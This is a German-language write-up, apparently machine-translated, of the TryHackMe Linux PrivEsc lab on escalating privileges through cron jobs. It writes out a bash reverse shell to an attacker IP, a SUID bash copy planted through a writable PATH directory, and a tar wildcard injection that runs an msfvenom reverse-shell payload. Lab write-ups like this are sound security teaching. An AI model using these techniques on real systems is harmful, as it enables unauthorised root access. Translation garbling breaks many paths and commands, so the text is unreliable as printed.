Dieses Mal werden wir "Erhöhung des Privilegs mit Cron -Jobs" versuchen.
Die Zielmaschine nutzt den Raum unten von TryHackme.
"Tryhackme-linux privesc: https://tryhackme.com/room/linuxprivesc "

Dieser Artikel ist Teil 5.
Wenn Sie die Schreiben für Linux Privesc mit TryHackMe überprüfen möchten, überprüfen Sie bitte auch die Erhöhung der Berechtigung mit den Umgebungsvariablen LD_PRELOAD und LD_LIBRARY_PATH




Vorbereitung
"Erläuterung"


ssh user@10.10.166.11 255 ⨯ Die Authentizität von Host '10 .10.166.11 (10.10.166.11) 'kann nicht festgelegt werden. RSA Key Fingerabdruck ist SHA256: JWWPVFQC+8LPQDA0B9WFLZZXCXCXCOAHO6S8WYGJKTANK. Dieser Host -Schlüssel ist unter den folgenden anderen Namen/Adressen bekannt: ~/.Ssh/Bekannte_Hosts: 1: [Hashed -Name] Sind Sie sicher, dass Sie sich weiter verbinden möchten (ja/nein/[Fingerabdruck])? Ja Warnung: Dauerhaft '10 .10.166.11 '(RSA) in die Liste der bekannten Hosts. user@10.10.166.11 Kennwort: Linux Debian 2.6.32-5-amd64 #1 SMP-Tue 13. Mai 16:34:35 UTC 2014 x86_64 Die mit dem Debian GNU/Linux-System enthaltenen Programme sind kostenlose Software. Die genauen Verteilungsbegriffe für jedes Programm werden in den einzelnen Dateien in/usr/share/doc/*/copyright beschrieben. Debian GNU/Linux verfügt über eine Garantie, sofern dies nach geltendem Recht zulässig ist. Letzter Login: Fr
Erhöhung des Privilegs mit Cron -Jobs
Cron Jobs ist eine Funktion, mit der Benutzer planen können, sie zu einem bestimmten Zeitpunkt oder einem bestimmten Intervall auszuführen.
Verwenden wir diese Cron -Jobs, um Wurzelrechte zu erhalten.
Cron Jobs - Einleitungen zur Verfügung stellen
Lassen Sie uns zunächst den Inhalt von Crontab anzeigen.
Crontab enthält die Konfiguration von Cron -Jobs.
Benutzer@debian: ~ $ cat /etc /crontab # /etc /crontab: Systemweit Crontab # Im Gegensatz zu jedem anderen Crontab müssen Sie den Befehl "crontab" # nicht ausführen, um die neue Version zu installieren, wenn Sie diese Datei # und Dateien in /etc/con.d bearbeiten. Diese Dateien haben auch Benutzernamenfelder, die keiner der anderen Crontabs tun. Shell =/bin/sh path =/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/usr/sbin:/usr/bin # mh dom mon dow user befehl 17 * * * * * root cd/&& run -parts - -report/ (CD /&& Run -Parts --Report /etc/cron.daily) 47 6 * * 7 Root Test -x /usr /sbin /Anacron || (CD /&& Run -Parts --Report /etc/cron.weekly) 52 6 1 * * Root Test -x /usr /sbin /anacron || (CD/&& run-parts--Report /etc/cron.monthly) # * * * * * * root overwrite.sh * * * * * root /usr/local/bin/compress.sh
Aus diesem Grund können Sie sehen, dass zwei Cron -Jobs jede Minute ausgeführt werden: "overwrite.sh" und "/usr/local/bin/compress.sh".
Suchen wir nun nach dem vollständigen Weg zu overwrite.sh.
Benutzer@debian: ~ $ socate overwrite.sh /usr/local/bin/overwrite.sh
Es stellt sich heraus, dass es "/usr/local/bin/overwrite.sh" ist.
Überprüfen wir weiterhin die Zugriffsberechtigungen der Datei.
Benutzer@debian: ~ $ ll /usr/local/bin/overwrite.sh -rwxr-rw- 1 Root Staff 40 Mai 13. Mai 2017 /usr/local/bin/overwrite.sh
Overwrite.sh ist für jeden beschreibbar.
Schreiben Sie nun überschreiben und führen Sie die Reverse Shell aus.
user@debian: ~ $ vi /usr/local/bin/overwrite.sh user@debian: ~ $ cat /usr/local/bin/overwrite.sh #!/bin/bash bash -i> & /dev/tcp/10.18.110.90/4444 0> & 1
Sobald Sie so umgeschrieben haben, gehen Sie zum Angriffsgerät und hören Sie sie mit NetCat an.
┌── (hacklab㉿hackLab) -[~] └─ $ NC -NVLP 4444 Hören Sie sich [an jedem] 4444 ... eine Verbindung zu [10.18.110.90] von (unbekannt) [10.10.166.11].
Ich denke, Sie können die Wurzelschale in weniger als einer Minute bekommen.
Nur um in Sicherheit zu sein, ich werde Whoami rennen.
root@debian: ~# whoami whoami root@debian: ~#
Jetzt haben Sie Root -Privilegien!
Cron Jobs - Pfadumgebungsvariable
Lassen Sie uns Crontab erneut anzeigen.
Schauen wir uns als nächstes die Tatsache an, dass der Pfad "/home/user" enthält.
Overwrite.sh wird so ausgeführt, wenn es auf einem Pfad ist, sodass Sie Shell ausführen können, indem Sie sie als overwrite.sh imitieren.
Benutzer@debian: ~ $ cat /etc /crontab # /etc /crontab: Systemweit Crontab # Im Gegensatz zu jedem anderen Crontab müssen Sie den Befehl "crontab" # nicht ausführen, um die neue Version zu installieren, wenn Sie diese Datei # und Dateien in /etc/con.d bearbeiten. Diese Dateien haben auch Benutzernamenfelder, die keiner der anderen Crontabs tun. Shell =/bin/sh path =/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/usr/sbin:/usr/bin # mh dom mon dow user befehl 17 * * * * * root cd/&& run -parts - -report/ (CD /&& Run -Parts --Report /etc/cron.daily) 47 6 * * 7 Root Test -x /usr /sbin /Anacron || (CD /&& Run -Parts --Report /etc/cron.weekly) 52 6 1 * * Root Test -x /usr /sbin /anacron || (CD/&& run-parts--Report /etc/cron.monthly) # * * * * * * root overwrite.sh * * * * * root /usr/local/bin/compress.sh
Kopieren Sie nun "/bin/bash" unter "/home/user" und fügen Sie Ausführungsberechtigungen und Suid -Berechtigungen hinzu.
Benutzer@debian: ~ $ vi /home/user/overwrite.sh user@debian: ~ $ cat /home/user/overwrite.sh #!/bin/bash cp/bin/bash/tmp/rootbash chmod +xs/tmp/rootbash
Nachdem Sie ungefähr eine Minute gewartet haben, führen Sie die kopierten "/tmp/rootbash" mit -P durch.
Ich habe es geschafft, eine Shell zu bekommen, die mit Root -Privilegien ausgeführt wird!
Benutzer@debian: ~ $ /tmp /rootbash -p rootbash -4.1# whoami root
Cron Jobs - Wildcards
Schauen wir uns als nächstes eine andere Hülle an.
user@debian: ~ $ cat /usr/local/bin/compress.sh #!/bin/sh cd/home/user tar czf /tmp/backup.tar.gz *
Der TAR -Befehl verwendet Wildcards im Heimverzeichnis.
TAR hat die Möglichkeit, Befehle als Teil eines Checkpoint auszuführen.
Dies wird verwendet, um die Reverse Shell auszuführen.
Verwenden Sie zunächst MSFvenom, um eine Reverse Shell zu generieren.
┌── (hacklab㉿hackLab) -[~] └─ $ msfvenom -p linux/x64/Shell_reverse_tcp lhost = 10.18.110.90 lport = 4444 -f -Elf -o -Shell. Payload No -Encoder angegeben, Ausgabe von Rohkostennutzlastgröße: 74 Bytes endgültige Größe der ELF -Datei: 194 Bytes als: Shell.elf.
Übertragen wir dieses Mal Dateien mit SCP.
┌── (hacklab㉿hacklab)-[~/tryhackme/linuxPrivenv] └─ $ scp Shell.elf User@10.10.166.11: ~/user@10.10.166.11's Passwort: Shellel.
Kehren Sie zum Zielgerät zurück und prüfen Sie, ob die Übertragung ordnungsgemäß durchgeführt wird.
Es gab Shell.elf.
Benutzer@debian: ~ $ ll insgesamt 12 -rw-r-r-- 1 Benutzer Benutzer 212 15. Mai 2017 MyVPN.ovpn-Rw-r- R-- 1 Benutzer Benutzer 194 Apr 6 09:18 Shell.elf Drwxr-XR-X 8 Benutzer 4096 Mai 15 2020 Tools
Ergeben Sie Shell.elf.
chmod +x /home/user/shell.elf user@debian: ~ $ ll insgesamt 12 -rw-r- r-- 1 Benutzer Benutzer 212 Mai 15
Erstellen Sie anschließend die folgende Datei:
Wenn Sie die TAR -Option auf den Dateinamen festlegen, wird sie eher als Option als als Dateiname behandelt.
user@debian: ~ $ touch/home/user/-checkpoint = 1 user@debian: ~ $ touch /home/user/-Checkpoint-action=exec=shell.elf Benutzer@debian: ~ $ ll Gesamt 12 -rw-r-1 Benutzer Benutzer 0 Apr 6 09:26-Checkpoint = 1 -rw-r- -RW-R-R-- 1 Benutzer Benutzer 212 15. Mai 2017 myvpn.ovpn -rwxr-XR-X 1 Benutzer Benutzer 194 Apr 6 09:18 Shell.Frwxr-XR-X 8 Benutzer 4096 Mai 15 2020 Tools
Hören Sie es in diesem Zustand mit NetCat an.
┌──(hacklab㉿hacklab)-[~] └─$ nc -nvlp 4444 listening on [any] 4444 ... connect to [10.18.110.90] from (UNKNOWN) [10.10.166.11] 52692 bash: no job control in this shell root@debian:~# whoami whoami root root@debian:~#
Jetzt haben Sie Root -Privilegien!
Zusammenfassung
Dieses Mal habe ich "Erhöhung des Privilegs mit Cron -Jobs" versucht.
Da es eine Funktion ist, die ich häufig benutze, bin ich ein wenig besorgt, dass ich daran gearbeitet habe, ohne über irgendetwas nachzudenken. . .
Ich war immer so neugierig, ob dies getan werden könnte.
Referenzen und Websites
Medium ( Shamsher Khan ): https://infosecwriteups.com/linux-privesc-tryhackme-writeup-bf4e32460ee5